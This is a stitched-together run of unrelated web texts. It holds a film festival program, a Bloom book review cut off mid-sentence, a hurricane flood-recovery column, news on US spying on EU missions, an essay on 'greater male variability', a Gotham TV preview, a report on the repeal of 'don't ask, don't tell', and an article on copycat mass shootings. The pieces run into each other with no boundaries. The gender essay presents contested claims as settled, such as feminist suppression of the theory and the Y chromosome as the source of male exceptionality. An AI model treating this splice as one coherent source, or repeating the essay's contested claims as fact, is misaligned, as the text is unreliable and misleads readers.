April 25. Director Bobcat Goldthwait and subject comedian/writer/activist Barry Crimmins will be in attendance.
Sunday Special Screening:
THE PRIMARY INSTINCT, directed by Dave Chen.
April 26. Director Dave Chen and subject/raconteur Stephen Tobolowsky will be in attendance.
The First Annual IFFBoston/UMB Film Series FILM SUMMIT
April 23–24. Hosted in partnership with UMass Boston, the Film Summit features 2 days of screenings, panels, and workshops spotlighting and supporting local filmmakers. The highlight of the Summit is our First Annual Massachusetts Works-in-Progress Competition. This year’s competition will focus on documentaries and be moderated by Boston Globe film critic Peter Keough.
NARRATIVE FEATURES
7 CHINESE BROTHERS directed by Bob Byington
BOB AND THE TREES directed by Diego Ongaro
A BRILLIANT YOUNG MIND directed by Ryan Piers Williams
DAY RELEASE directed by Geoffrey Cowper
DEATHGASM directed by Jason Lei Howden
EDEN directed by Mia Hansen-Love
THE END OF THE TOUR directed by James Ponsoldt
FUNNY BUNNY directed by Alison Bagnall
H. directed by Rania Attieh & Daniel Garcia
I’LL SEE YOU IN MY DREAMS directed by Brett Haley
THE KEEPING ROOM directed by Daniel Barber
LOST COLONY directed by Christopher Holmes
ME AND EARL AND THE DYING GIRL directed by Alfonso Gomez-Rejon
THE OVERNIGHT directed by Patrick Brice
RESULTS directed by Andrew Bujalski
SLOW WEST directed by John Maclean
THEY LOOK LIKE PEOPLE directed by Perry Blackshear
THE TRIBE directed by Miroslav Slaboshpitsky
WILDLIKE directed by Frank Hall Green
DOCUMENTARY FEATURES
61 BULLETS directed by David Modigliani
ANGKOR’S CHILDREN directed by Lauren Shaw
BARGE directed by Ben Powell
BEING EVEL directed by Daniel Junge
BEST OF ENEMIES directed by Robert Gordon & Morgan Neville
BLACK PANTHERS directed by Stanley Nelson
BOUNCE: HOW THE BALL TAUGHT THE WORLD TO PLAY directed by Jerome Thelia
CALL ME LUCKY directed by Bobcat Goldthwait
CARTEL LAND directed by Matthew Heineman
THE CHINESE MAYOR directed by Hao Zhou
CIRCUS WITHOUT BORDERS directed by Susan Gray
CITY OF GOLD directed by Laura Gabbert
LOST CONQUEST directed by Mike Scholtz
DO I SOUND GAY? directed by David Thorpe
DWARVES KINGDOM directed by Matthew Salton
FINDERS KEEPERS directed by Bryan Carberry & J. Clay Tweel
FUTURE SHOCK! THE STORY OF 2000AD directed by Paul Goodwin
THE GREAT ALONE directed by Greg Kohs
GTFO directed by Shannon Sun-Higginson
HEAVEN ADORES YOU directed by Nickolas Rossi
I AM WHAT I PLAY directed by Roger King
IN TRANSIT directed by Albert Maysles, Lynn True, Nelson Walker, Ben Wu & David Usui
IRIS directed by Albert Maysles
KING GEORGES directed by Erika Frankel
LOOK OF SILENCE directed by Joshua Oppenheimer
LOVE BETWEEN THE COVERS directed by Laurie Kahn
MADE IN JAPAN directed by Josh Bishop
MORPHINE JOURNEY OF DREAMS directed by Mark Shuman
THE PRIMARY INSTINCT directed by Dave Chen
ROLLING PAPERS directed by Mitch Dickman
STRAY DOG directed by Debra Granik
SUNSHINE SUPERMAN directed by Marah Strauch
(T)ERROR directed by Lyric R. Cabral & David Felix Sutcliffe
THEORY OF OBSCURITY: A FILM ABOUT THE RESIDENTS directed by Don Hardy Jr.
TOP SPIN directed by Mina T. Son & Sara Newens
WELCOME TO LEITH directed by Michael Beach Nichols & Christopher K. Walker
WESTERN directed by Bill Ross & Turner Ross
THE WOLFPACK directed by Crystal Moselle
THE YEAR WE THOUGHT ABOUT LOVE directed by Ellen Brodsky
NARRATIVE SHORT FILMS
ACTOR SEEKS ROLE directed by Michael Tyburski
ANOTHER MOONSCAPE directed by Maxim Hectors
ARTEMIS FALLS directed by Eliza McNitt
BLACKWELL directed by Ed Barnes
BULL directed by Julia Hutchison
CARAVAN directed by Keiran Watson-Bonnice
CENTRAL MARKET directed by Saleh Nass
DESK JOB directed by Jason Eaken
GREENLAND directed by Oren Gerner
HASTA LA VISTA directed by Matt Kazman & Matt Porter
HELP POINT directed by Andrew Margetson
KNIGHTSVILLE directed by Aly Migliori
LA NOCHE BUENA directed by Alex Mallis
PHANERON directed by Jonathan Case
PROM NIGHT directed by Josh Shayne
SAFE directed by Sean Temple
STARMAN directed by Josema Roig
STEALTH directed by Bennett Lasseter
TICKY TACKY directed by Brian Petsos
TOBACCO BURN directed by Justin Liberman
A WELL DESIGNED PLAN directed by Will Lowell
WIRE CUTTERS directed by Jack Anderson
WORLD OF TOMORROW directed by Don Hertzfeldt
DOCUMENTARY SHORT FILMS
THE AMERICAN GURNER directed by Tim Jackson
AMERICAN RENAISSANCE directed by Jarred Alterman & Ryan Scafuro
ANALOGUE PEOPLE IN A DIGITAL WORLD directed by Keith Walsh
AND COUNTING directed by Michelle Wood
THE BAD BOY OF BOWLING directed by Bryan Storkel
BOXEADORA directed by Meg Smaker
CROOKED CANDY directed by Andrew Rodgers
DUNK TANK CLOWNS directed by Daniel McGuire
ELGIN PARK directed by Danny Yourd
THE GNOMIST directed by Sharon Liese
GROWING LOCAL directed by Bridget Besaw
THE HERMIT directed by Lena Friedrich
IN-WAITING directed by Atsuko Okatsuka
LAST PYRAMID directed by Dave Schachter
THE MANY SAD FATES OF MR. TOLEDANO directed by Joshua Seftel
SEVEN WAYS FROM SUNDAY directed by Robert Sickels
SILENCED IN SOUTHIE directed by Evan Dolan
SPEARHUNTER directed by Adam Roffman & Luke Poling
THE SURRENDER directed by Steve Maing
TAPPING IN directed by Steven Hathaway
TASHI AND THE MONK directed by Johnny Burke & Andrew Hinton
TINY OUT LOUD directed by Andrew Ina
UNMAPPABLE directed by Diane Hodson & Jasmine Luoma
THE WATERSHED directed by Elise Hugu & Daniel CojanuAs one thinks of Harold Bloom, Auden’s description of Wyndham Lewis as a lonely old volcano comes to mind. Though not, like Lewis, ‘of the Right’, or indeed claiming any political alignment, Bloom erupts with comparable regularity and force. He prefers to be a one-man cultural opposition, waving only the banner of aesthetics; he says there are no Bloomians, but everybody knows him and all wonder, usually with exasperated affection, what he will do next. He is exceptionally and systematically well-read, and exceptionally keen to promulgate his readings and his systems. Although, like Lewis, he loves to insult his opponents, he does so with amenity and apparent immunity. He has, in a quietly joyous fashion, the chutzpah to put his stamp on the whole of literature from Genesis to Ashbery, rivalling the scope of hero-critics like Saintsbury or Curtius or Auerbach though more giddily adventurous than they were. A few years ago he was maintaining that the parts of the Old Testament attributed to J, the Yahwist (that is, the author who refers to God as Yahveh), were written by a woman at the decadent court of Rehoboam. It seems a reviewer, entering into the spirit of this amusing but baseless conjecture, suggested that we might as well identify the author as Bathsheba, famous first as a bather, later as the mother of Solomon, and finally as J, mistress of the sublime and the uncanny as well as of King David. In this new book Bloom cheerfully accepts the reviewer’s proposal. That the author of what eventually became the Torah should have been the relict of the unlucky Uriah, and not an Israelite, but a Hittite, was plainly irresistible. Henceforth, he says, he will refer to J as Bathsheba. But I notice that he does not include Bathsheba’s name in the long list of canonical works in his appendix, nor among his authors in the index. Bloom is very serious but can also be a bit of a tease.
The purpose of this book, though it does some teasing, is serious indeed. Bloom thinks of the present situation of criticism in the American universities as squalid and desperate. He believes there are books which are canonical for reasons he is prepared to state at length, and that the preservation of such a canon ought to be the first duty of critics and teachers. In maintaining this view he represents himself as fighting almost alone against a mob of enemies he calls by various names, including the ‘School of Resentment’, and, more fiercely, the ‘academic rabble’ that is at present corrupting the institutions of higher learning. He has in mind all who profess to regard the canon as an instrument of cultural, hence political, hegemony – as a subtle fraud devised by dead white males to reinforce ethnic and sexist oppression, and hinder social change. But he also attacks, usually in tones of benignly lugubrious authority, other critical movements such as the New Historicism, rather less overtly political in tendency, which by levelling the canonical with other contemporaneous discourse ignorantly deny the peculiar aesthetic virtues of the former.
He is strong on this point, believing that ‘to read in the service of any ideology is not... to read at all,’ and condemning critical judgments that aspire to political correctness of any kind. ‘I feel quite alone these days,’ he says, ‘in defending the autonomy of the aesthetic.’ He speaks of ‘the flight from the aesthetic’, as if it were a kind of betrayal (which of course it is). He is particularly hard on bullying feminists, who bear much of the responsibility for turning his into ‘an occupied country, one that expects no liberation from liberation’. In such misery what hope can there be for the canon?
The very idea of canon presupposes that some books are better (or at any rate more canonical) than others, but the reasons they are so have nothing to do with social justice, or indeed with spiritual improvement. The goodness of books is a thing of itself, unrelated to other good causes, and apprehended only with skills of a peculiar and precious kind, which have hitherto proved communicable but may not, in Bloom’s opinion, be so much longer. He would never allow it to be assumed that the canon offers easy reads. On the contrary, the dedicated labour it requires ensures that its devotees, like the canon itself, must be an élite. ‘Aesthetic value rises out of memory, and so (as Nietzsche saw) out of pain, the pain of surrendering easier pleasures in favour of much more difficult ones.’
Leaving aside for the moment the proprietary mechanisms with which Bloom propels his canonical arguments, it is fair to say at once that in substance they are what most people who have any idea what the argument is about – virtually all who have studied the art of ‘reading well and deeply’ – will endorse. Bloom suggests that those who have not done so, and joined the School of Resentment instead, may be simply left to their fate – ‘Let Gryll be Gryll, and have his hoggish mind.’ But in fact he doesn’t leave them to it, not only jabbing away at them, as promised, in his opening and closing chapters, but sideswiping them throughout.
The victims of Bloom’s scorn are nearly all American. Their attitudes have been imported into Britain in the normal way, like Coke and Big Macs; they have a jauntily anti-authoritarian, classless air and are naturalised, rather as a McDonald’s in the Mall, which would at first look as strange as the one in Piazza di Spagna did in its early days, might soon merge into the scene. And yet there is, as always, a difference: Bloom’s American enemies operate in what have traditionally been thought high places, in the Ivy League and schools of comparable prestige; and their anti-aestheticism is powerfully associated, as here it is not, with the more general and more cramping doctrine of political correctness. That’s why his entire attitude can be called, with congratulations, politically incorrect. There is more at stake than the canon, though the canon is a vital part of the defence.
He occasionally expresses a faint hope of seeing the canon survive its detractors, for he believes, surely mistakenly, that Shakespeare (the centre of his world canon) will be ‘the rock upon which the School of Resentment must at last founder’. His reasons seem to be, first, that the eminence of Shakespeare is so obvious that not even the Resenters can remain unaware of it (‘Originality is the great scandal that resentment cannot accommodate’); secondly, that if Shakespeare is an arbitrary choice of the oppressors, presumably anybody would do: so why not, say, Ben Jonson, a defender of autocracy, and capable of despising the people? But these are not good reasons; the argument for the fraudulence of the Shakespeare cult |
the legs submerged for hours in salt water. We held onto them nonetheless, and I’m glad we did.
Mold expert Robert Weisz, CEO of RTK Environmental in Stanford, Connecticut, says anything “soft” that comes into contact with water must be destroyed because it can never be sufficiently dried out to prevent mold growth. So the seat cushions have to go.
But wooden furniture can sometimes be saved, he says, if you are able to clean it within 24 hours before mold takes root in the surface of the wood.
Throw It Out
Some things have to go and just aren’t worth replacing — the kids’ stuffed animal collection, which was too large to begin with; books I’d never had a chance to read and that had swelled to twice their size from Sandy’s dousing.
A disaster also makes you realize: Did I really need six cookie sheets? Is a grill pan really necessary if you only use it those two days a year that it’s really too cold to use the barbecue? And the waffle maker - I had one of those?
Replace It
Salt water wreaks havoc on electrical systems, but its impact might not be seen right away. Several of my neighbors were able to get their furnaces and hot water heaters to turn on after the storm.
“People say, ‘I turned it on and it works so it must be OK,’” Weisz says. But salt water eats away at metal, significantly shortening an appliance’s lifespan. “In a short period of time, it’s not going to work anymore.”
The heating system, crucial to our ability to move back home, was one of the first items we replaced after the storm.
The carpet didn’t stand a chance. It could never be sufficiently dried out. Ceramic tile on a concrete slab is the only flooring that will survive a flood, Weisz says. But when thinking about a material to replace your flooring, hardwood is what will be best for your resale value.
“Hardwood floors are a great seller,” says Louisa Sagarese, broker office manager for ERA American Towne Realty, in Toms River, New Jersey. “So are nice kitchen cabinets and granite countertops. Focus on kitchens and bathrooms and make closets bigger if you can.”
Sandy forced us into a remodeling project, and we’re trying to turn a disaster into an opportunity. Since our main living area was knocked down to the studs, we combined two closets into one, big walk-in closet. We also made a new closet out of unused space under a staircase.
We’re opting for hardwood floors, and we’ll choose stainless steel appliances - another factor that Sagarese says adds to resale.
But as Sagarese notes so accurately, we storm victims are not building for resale. “Think about what you want for the next 10 years,” she says.
Most of us aren’t going anywhere. Living by the water is something like a calling. So we’re laying down hardwood floors. We’re installing new molding. But our next TV will be hanging on the wall. My photo albums will all be kept upstairs from now on.
And if and when another storm rolls through, we’ll know better and haul our furniture to the second floor before evacuating.
(The writer is a Reuters contributor. The opinions expressed are her own.)LONDON — European officials and politicians reacted angrily on Sunday to reports that the United States has been spying on its European Union allies, saying the claims could threaten impending talks with Washington on an important trade agreement.
The latest accusations surfaced in the online edition of the German newsmagazine Der Spiegel, which reported on Saturday that American agencies had monitored the offices of the European Union in New York and Washington. Der Spiegel said information about the spying appeared in documents obtained by Edward J. Snowden, the former American intelligence contractor, and seen in part by the magazine.
On Sunday, the online edition of the British newspaper The Guardian reported additional details about the surveillance program. The newspaper said that one document it had obtained listed 38 embassies and diplomatic missions in Washington and New York, describing them as “targets.” It detailed a broad range of spying methods used against one, including bugs implanted in electronic communications gear and the collection of transmissions using specialized antennas.
The list of targets included the European Union’s missions and the French, Italian and Greek Embassies, as well as those of several other American allies, including India, Japan, Mexico, South Korea and Turkey, The Guardian reported.Editor’s note: This article is also available in Romanian and Spanish.
Men and women vary in many ways. The debate has raged for a long time about whether this is more likely to be a result of nature or nurture. Some feminist groups tend to maintain that the differences are socialised and thus very much within the nurture camp. Recent research has shown that there are fundamental differences between human males and females, and that behavioural differences are evident even a day after birth.[1] So while some differences are certainly socialised, we cannot any longer ignore or dismiss the fundamental differences that exist between human males and females.
It is the thesis of this article that a large proportion of observed differences between male and female life outcomes can be explained with reference to only one difference: variance. Men tend to vary in characteristics more than women. This has been shown to be true for all characteristics that have been studied, and there is good evidence to suggest it is generally true.[2] This is often known as “greater male variability” or “the variability hypothesis,” although it would perhaps be better called a theory now as evidence builds. It is notable that this notion fell out of favour as a result of the activities of feminists in academia.[3]
Men vary more in height[4], weight, and many other physical characteristics. While the average intelligence of men and women are the same or almost the same, what is clear is that males vary more than females in intelligence.[5] This means that a majority of people with high IQs will be men, as will a majority of people with low IQs. The further we get from the mean, the more pronounced this phenomenon is. Astoundingly, greater variance among men even appears to be true when it comes to personality.[6]
Everywhere we go, we see the same trend: men tending to dominate at the top of society with other men tending to fall to the bottom of society, with a smaller group of men and most women clustered in the middle.
When the females of a species invest significantly more energy in to gestation than males, as is the case for humans, then the size of the next generation is largely constrained by the number of fertile females. As a result of this, a species can generally tolerate the loss of a male more easily than the loss of a female. It thus makes sense for a species to allow males to vary more in their characteristics. If a characteristic is disadvantageous to a species, then the loss of males will be less damaging than the loss of females. If a characteristic is advantageous, it can be spread to the rest of the species. Thus, testing new characteristics on males is an advantage to a species overall, and so we find men vary in their characteristics more than women. In effect, the loss of women will constrain the size of the next generation while the loss of men will constrain genetic diversity. This does not justify male disposability, though. Even if men were biologically disposable in the past, they no longer need to be. The Earth carries more than 7 billion people today and could be carrying 10 or 11 billion within a few decades. We no longer need the ability to rapidly recover numbers, thus any presumed bias toward male disposability that existed in the past no longer applies.
Among humans the greater variance among men leads to significant implications for society. These tendencies have a widespread and profound impact on the human species and human civilisation and go a very long way to explaining the observed differences between men and women in terms of life choices and outcomes.
Since men vary more in characteristics, it follows that they will be overrepresented among the highest achievers in many areas. The lowest achievers in an area, those not suitable for employment or endeavour in that area, will generally choose to not work in that area. As a result, when we look at most areas of achievement, we should see the highest levels dominated by men, with the rest of the men in the field and most women among those who perform in the field competently but without great distinction. If the highest achievers in a field are mostly men, then we should expect the highest paid members of the field to be mostly men too.
A particularly notable area is scientific achievement, which has been overwhelmingly conducted by men. Some argue that female scientists have been marginalised and their accomplishments attributed to men. That may be true in some cases, but the reverse is true also. Marie Curie is often remembered for conducting groundbreaking research in to radioactivity. Most know her name, but few know that she collaborated with two other scientists for this work—her husband, Pierre Curie, and Henri Becquerel. Marie was actually the junior of the three scientists. Despite this, she is often believed by the wider community to have made significant discoveries on her own, with the efforts of her husband and Becquerel forgotten. Both Marie and Pierre were responsible for the discovery of polonium and radium[7], although today these discoveries are often attributed to Marie alone.[8]
Business and political leaders are overwhelmingly men. Just as with scientific endeavour, men will dominate among those who are overachievers in business, with other men and most women performing competently.
Evidence suggests that men have always dominated among societies’ leaders. This is reflected in the modern world with men dominating among politicians in every country today except Rwanda. Rwanda is an exception because men were overwhelmingly the victims of the Rwanda genocide and even today constitute only 46.5% of the population.[9]
Since men vary more in personality, in capabilities, and are overrepresented among those with low IQs, it follows that men should be overrepresented among those who are anti-social and have difficulty fitting in and following societies’ rules. These are precisely the people most likely to commit offences and be imprisoned. This is what we do see in societies around the world.
It should be noted that all else being equal, men are more likely to be charged with an offence, more likely to be convicted of an offence, and if they are convicted they are more likely to be incarcerated and will on average serve a significantly longer sentence. This is all true even when the circumstances surrounding the offence are substantially similar. Thus, the higher proportion of male prison inmates cannot be explained by variance alone and is a function of institutional bias against men in the judicial system of many countries.
The vast majority of composers are men.[10] Music composition shows the same pattern that we see in other areas of endeavour. Those who have little or only average capabilities in music composition will not generally pursue this as a career. In contrast, those who excel at music composition will pursue it as a career. Similarly, the majority of musicians are men. Many orchestras have around 25% to 30% female participation.[11] We should see the greatest domination by men in areas where individuality is most important. Among all areas of music, the greatest gender disparity exists in jazz. This is also the area of music where individuality is most important, with high emphasis on creativity and improvisation.
A notable area dominated by men is the game of chess.[12] Chess is notable because it does not require physical strength, manual dexterity, or any physical characteristics other than the ability to communicate. Chess does not require any knowledge other than knowledge of chess. Even having a high IQ is not a guarantee of success in chess. Like many fields of endeavour, hard work and commitment are necessary along with innate ability. Having said that, chess is perhaps the purest example of exceptionality we have. The vast majority of chess grand masters are men.
Men even dominate in knowledge-based game shows.[13]
It is a reasonably obvious position to claim that employers will generally want to employ people who can perform the work involved in that job to a reasonable standard. It can often be difficult to differentiate people who would be exceptional at performing the work. The bottom few percent of the population (as measured by job specific capability) will be the ones most likely to be unable to obtain employment. The bottom few percent of the population will be dominated by men. Thus, based on gender variance alone, we may expect men to have a higher unemployment rate than women.
Quite a lot has been made of the Y chromosome of late. Claims are made that it is small and inadequate.[14][15] This is just more casual misandry. Those making statements like this have, at least, a fundamentally flawed view of human sexual selection and genetics.[16] The Y chromosome is the basis of the exceptionality of men. It destabilises human genetics, which is precisely what you need to have exceptional individuals. It is why more male foetuses abort, but it is also why there are more male Nobel Prize winners and great poets. Many of those denigrating the Y chromosome are ignoring the evidence right in front of their eyes.
This article has discussed the notion of greater variation, the negative and positive consequences of this, and how they explain many of the historical trends observed. History is replete with powerful, famous, and successful women, but they were typically a minority.
The notion of greater variance among men has been discussed for decades and is, perhaps not surprisingly, not popular in feminist discourse. In 2005, Lawrence Summers, then the president of Harvard University, speculated on greater variance among men and the resultant domination of certain fields, particularly physical sciences, by men. Despite the fact that he made it clear that he was not criticising the suitability of women to physical sciences, he was publicly castigated[17] and was subsequently the subject of a no-confidence motion by a faculty at Harvard.[18] Harvard subsequently launched various initiatives to advance women in academia over the following months. It is likely that Summers’ innocent comments on gender variance and the subsequent outrage were major contributors to his resignation the following year.
In the end, statistical analysis of the relative merits of different groups of humans is interesting, but it says nothing about the ability of a particular individual human to achieve. Just because men dominate in a particular field does not mean that any given man is able to achieve in that field and it does not mean that any given woman cannot achieve in that field.
The title of this article may seem incendiary and may have caused some people to become angry. The title is, of course, a pun. Men are exceptional—which means that men are not only overrepresented among the most successful people in society but also among the least successful people in society. The title is offered as proof that Hanna Rosin, author of The End of Men and “Men Are Obsolete” is not the only person who can write articles with provocative titles.
In general, if you have a group of people who are competing on equal terms for top roles, the most capable will be the most likely to gain these roles. In many cases, we can expect more men than women to be among the overachievers and among the underachievers. But the top roles are taken by the overachievers, who are more likely to be men.
It should be noted that nothing in this article should be taken as being negative toward women. Women and men are needed for a properly functioning society. This article should also not be construed as suggesting that women cannot achieve at the highest levels. An individual is not constrained by the norms for their gender. Just because there are fewer women at the highest levels of achievement in many areas does not mean, in general, that a particular woman cannot be the best at what she does. It does mean, though, that most areas of exceptional achievement will be dominated by men.0
Tonight’s episode of Fox’s Gotham sees Bruce Wayne and Alfred gaining ground on the mysterious killer who took the lives of Thomas and Martha Wayne. In an exclusive sneak peek, we have a clip from the episode that features young Master Bruce (David Mazouz) and his mentor Alfred (Sean Pertwee) preparing to go after the villainous criminal known as Matches Malone, played by guest star Michael Bowen.
In addition to this exclusive clip, we’ve also put together a little intel on Gotham’s “Villain of the Week”, Matches Malone. You might not recognize him by name since he’s not part of Batman’s regular Rogues Gallery, but the two have a very interesting history. We’re not sure just how much of that history will come into play in Gotham, but his mere existence in the show’s mythology is a cool Easter egg nonetheless.
Check out our exclusive clip from tonight’s episode of Gotham below, followed by more on Matches Malone and new images from “This Ball of Mud and Meanness”:
BRUCE WAYNE CONFRONTS A MONSTER ON AN ALL-NEW “GOTHAM” MONDAY, MARCH 14, ON FOX Michael Bowen (“Breaking Bad”) and Lori Petty (“Orange Is The New Black”) Guest-Star Alfred and Selina help Bruce on his quest to find his parents’ killer, Matches Malone (guest star Michael Bowen). Meanwhile, Gordon follows up with Edward Nygma on Kristen Kringle’s whereabouts and Hugo Strange (guest star BD Wong) continues his treatment to reduce Penguin’s aggression in the all-new “Wrath of the Villains: This Ball of Mud and Meanness” episode of GOTHAM airing Monday, March 14 (8:00–9:01 PM ET/PT) on FOX. (GTH-214) (TV-14 L, S, V)
Matches Malone
Created by writer Dennis O’Neil and the late artist Irv Novick, the small-time crook known as Matches Malone made his first appearance in 1972’s “Batman” #242. The New Jersey gangster gained his moniker thanks to his penchant for walking around with an unlit match between his fingers or teeth, which also hinted at his tendency to commit arson. Matches and his brother Carver, orphaned at a young age, pulled off insurance fraud scams and arsons to earn money, but never escalated into violent crime. However, when they crossed into Batman’s territory in Gotham, the Malone brothers ran afoul of the city’s protector, most notably when Carver turns up dead.
With Matches as the prime suspect, Batman keeps a watchful eye on the low-level crook but never managed to bring him in on charges that stuck. Batman actually intended to recruit Malone as an ally in the fight against Ra’s al Ghul at one point, but a misunderstanding and an unlucky ricochet from Malone’s own gun ended the gangster’s life. Here’s where his story takes a twist: Batman never reported the death but rather buried him next to his brother Carver and then assumed the gangster’s identity as a means of infiltrating the criminal underworld. Batman’s Matches Malone disguise varied from a well-dressed gangster to a shabby thug depending on the version he appeared in, so I’m curious to see how this aspect plays out in Gotham.
Check out a bunch of new images from tonight’s episode of Gotham below, including looks at Bowen as Malone and guest star Lori Petty as some sort of Joker-esque character:Image caption The US House of Representatives voted 250-175 to repeal the ban on gays serving openly in the military
The US House of Representatives has voted to repeal a ban on openly gay men and women serving in the US military.
The Democratic-led House voted 250-175, sending the bill, which is backed by President Barack Obama, to the Senate for approval.
The vote comes a week after Senate Republicans blocked a similar measure to end the "don't ask, don't tell" policy, which came into force in 1993.
The policy forbids gay soldiers from acknowledging their sexual orientation.
The law is "the only law in the country that requires people to be dishonest or be fired if they choose to be honest", said Democratic Representative Jared Polis, of Colorado.
'Very confident'
Democrats who support repeal say they are committed to getting the 60 votes in the 100-member Senate needed to pass the legislation during the lame duck session of Congress, referring to the time between November's congressional elections and the January start of the new Congress.
But Democrats face tough opposition from Republicans on the measure and an already busy agenda before the end of the year, including finishing work on legislation to finance the government and ratification of a nuclear arms treaty with Russia.
A Senate aide told Reuters news agency that Democrats were "very confident" the measure would get at least 60 votes in the Senate.
Roughly 13,000 men and women have been expelled from the military under the 17-year-old policy implemented under Democratic President Bill Clinton.
Mr Obama has made repealing the policy a key part of his agenda since taking office in 2009.
Earlier this month, the Pentagon released a report which found that allowing openly gay troops would have little, if any, impact on the readiness and cohesion of America's armed forces.Looking for news you can trust?
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In late August, not 10 hours after a disgruntled former TV reporter posted video on Twitter and Facebook of himself gunning down two ex-colleagues in Virginia, the New York Daily News tweeted a preview of its front page for the next day. It featured a triptych of stills from the killer’s horrifying footage. Readers saw the attack from the shooter’s perspective—looking down the barrel of his Glock 19 at the flash of the muzzle and a victim’s terrified face, just moments before her death.
It was a gut punch to the victims’ loved ones. Journalists and the public responded with a torrent of tweets decrying the cover as “repulsive” and “despicable” and saying that “the victims deserve better.” The Daily News said that it published the images “to convey the true scale” of the attack “at a time when it is so easy for the public to become inured to such senseless violence.”
Journalism can be a powerful force for change, and news organizations should not flinch at reporting on mass shootings. But what the Daily News editors didn’t realize was that this sensational approach can possibly do more than perturb or offend. Such images provide the notoriety mass killers crave and can even be a jolt of inspiration for the next shooter.
The next one struck just five weeks later, in Oregon. The 26-year-old man who murdered nine and wounded nine others at Umpqua Community College last Thursday had posted comments expressing admiration for the Virginia killer, apparently impressed with his social-media achievement: “His face splashed across every screen, his name across the lips of every person on the planet, all in the course of one day. Seems like the more people you kill, the more you’re in the limelight.”
Since the 1980s, forensic investigators have found examples of mass killers emulating their most famous predecessors. Now, there is growing evidence that the copycat problem is far more serious than is generally understood. Ever since the 1999 massacre at Colorado’s Columbine High School, the Federal Bureau of Investigation has been studying what motivates people to carry out these crimes. Earlier this year, I met with supervisory special agent Andre Simons, who until recently led a team of agents and psychology experts who assist local authorities in heading off violent attacks around the country, using a strategy known as threat assessment. Since 2012, according to Simons, the FBI’s unit has taken on more than 400 cases—and has found evidence of the copycat effect rippling through many of them.
Evidence amassed by the FBI and other threat assessment experts shows that perpetrators and plotters look to past attacks both for inspiration and operational details, in hopes of causing even greater carnage. Would-be attackers frequently emulate the Columbine massacre; one high-level law enforcement agent told me that he’s encountered dozens of students around the country who say they admire the Columbine killers. “Some of these kids now weren’t even born when that happened,” he said. The 2007 massacre at Virginia Tech and other attacks that generated major publicity have also spawned many copycats, according to several law enforcement officials I spoke with.
“The savvy of these individuals to capitalize on visual exposure should not be underestimated.”
As part of our investigation into threat assessment, Mother Jones documented the chilling scope of the “Columbine effect”: We found at least 74 plots and attacks across 30 states in which suspects and perpetrators claimed to have been inspired by the nation’s worst high school massacre. Their goals ranged from attacking on the anniversary of Columbine to outdoing the original body count. Law enforcement stopped 53 of these plots before anyone was harmed. Twenty-one of them evolved into attacks, with a total of 89 victims killed, 126 injured, and nine perpetrators committing suicide. (See more about this data here.)
As they plan to strike, many mass shooters now express their desire for fame in comments and manifestos posted online. “They do this to claim credit and to articulate the grievance behind the attack,” Simons told me. “And we believe they do it to heighten the media attention that will be given to them, the infamy and notoriety they believe they’ll derive from the event.”
Despite whatever delusions or obsessive grievances they may be experiencing, many perpetrators are keenly aware of how their actions will be seen by the media and the public. “A lot of times they thrive on posing,” says Reid Meloy, a forensic psychologist at the University of California-San Diego and a leading researcher on targeted violence who has interviewed and evaluated mass killers. He cites the police booking photo of Jared Loughner, who shot Rep. Gabrielle Giffords and 18 others in Tucson, Arizona, in 2011. “He’s got that contemptuous smile, like it’s a great pose. The savvy of these individuals to capitalize on visual exposure should not be underestimated.”
A month before the Tucson rampage, Loughner posted what he called “a foreshadow” of his attack in comments on his MySpace page: “I’ll see you on National TV!” He got what he wanted—and then some. His booking photo “flashed around the world, at once haunting and fascinating,” Washington Post media reporter Paul Farhi wrote three days after the massacre. “Dozens of newspapers placed the photo atop their front pages, burning Loughner’s visage into the American consciousness.” (The Daily News ran a “nearly life-sized” version on its front page, Farhi noted, with the headline “Face of Evil,” while the New York Post ran a similar front page that blared “Mad Eyes of a Killer.”) Several of the nation’s largest news outlets have continued using the image in stories and broadcasts ever since.
The media faces a growing challenge in how its content is spread and recycled. When I asked various law enforcement and forensic psychology experts what might explain America’s rising tide of gun rampages, I heard the same two words over and over: social media. Although there is no definitive research yet, widespread anecdotal evidence suggests that the speed at which social media bombards us with memes and images exacerbates the copycat effect.
“When it gets played up so much in the media, it becomes heroic to the kids who are thinking about doing it.”
Meloy and other threat assessment experts recommend some specific changes by the news media to address the copycat problem. Attackers’ names should be used minimally—and their images even less so. “Their use can have a dangerous effect on other young men vulnerable to dark and violent identifications with the perpetrators,” Meloy says. “When real life for these individuals is so blighted in terms of love and work, they turn to the anti-heroes.” The narcissism running through many copycat cases is even more troubling in this regard: “They don’t just want to be like them—they are envious and want to one-up them,” Meloy explains. Copycats will aim to accomplish that either by going for a higher body count, he says, or, as in the Virginia case, killing in a more sensational way.
Meloy argues the media should also rethink some of its language. “Stop using the term ‘lone wolf’ and stop using ‘school shooter,'” he says. “In the minds of young men this makes these acts of violence cool. They think, ‘This has got some juice behind it, and I can get out there and do something really cool—I can be a lone wolf. I can be a shooter.'” Instead, Meloy suggests using terms such as “an act of lone terrorism” and “an act of mass murder.”
Changing how the media covers these stories may be especially important when it comes to preventing gun rampages in schools, according to John Van Dreal, a psychologist who helped build a pioneering threat assessment program in Oregon’s Salem-Keizer school district, which has more than 40,000 students. “I hear how all the kids talk about it,” Van Dreal says. “When it gets played up so much in the media, it becomes heroic to the kids who are thinking about doing it.” No one can control what explodes across social media platforms. But news organizations remain powerful magnifiers of content and could work toward “an ethical best practice to leave out the imagery and the name as much as possible,” Van Dreal says.
In January, Caren and Tom Teves—whose son Alex was one of the 12 people murdered in the July 2012 massacre in Aurora, Colorado—launched a “No Notoriety” campaign admonishing the media never to use mass shooters’ names. There is a similar movement stirring among police officers: The Oregon sheriff handling the response to last week’s attack (whose views on gun regulations and the Sandy Hook massacre raised some eyebrows) vowed in a press conference that he would not say the shooter’s name—and the town of Roseburg rallied around the idea. His move echoed the recommendations of a FBI-endorsed law enforcement training program on active shooters at Texas State University, which recently began a “Don’t Name Them” campaign.
Though laudable, such absolutism is unrealistic in terms of the media’s duty to report. As the Poynter Institute’s chief media correspondent Jim Warren explained Sunday on CNN’s Reliable Sources, reporting on the killers is crucial to public understanding of the problem—and for knocking down the rampant misinformation that ricochets around the internet in the aftermath of an attack. (Rumors swirled late last week that the Umpqua killer was a Muslim, for example, which was false.)
The day of the Virginia attack, CNN said it would show the killer’s footage only once per hour.
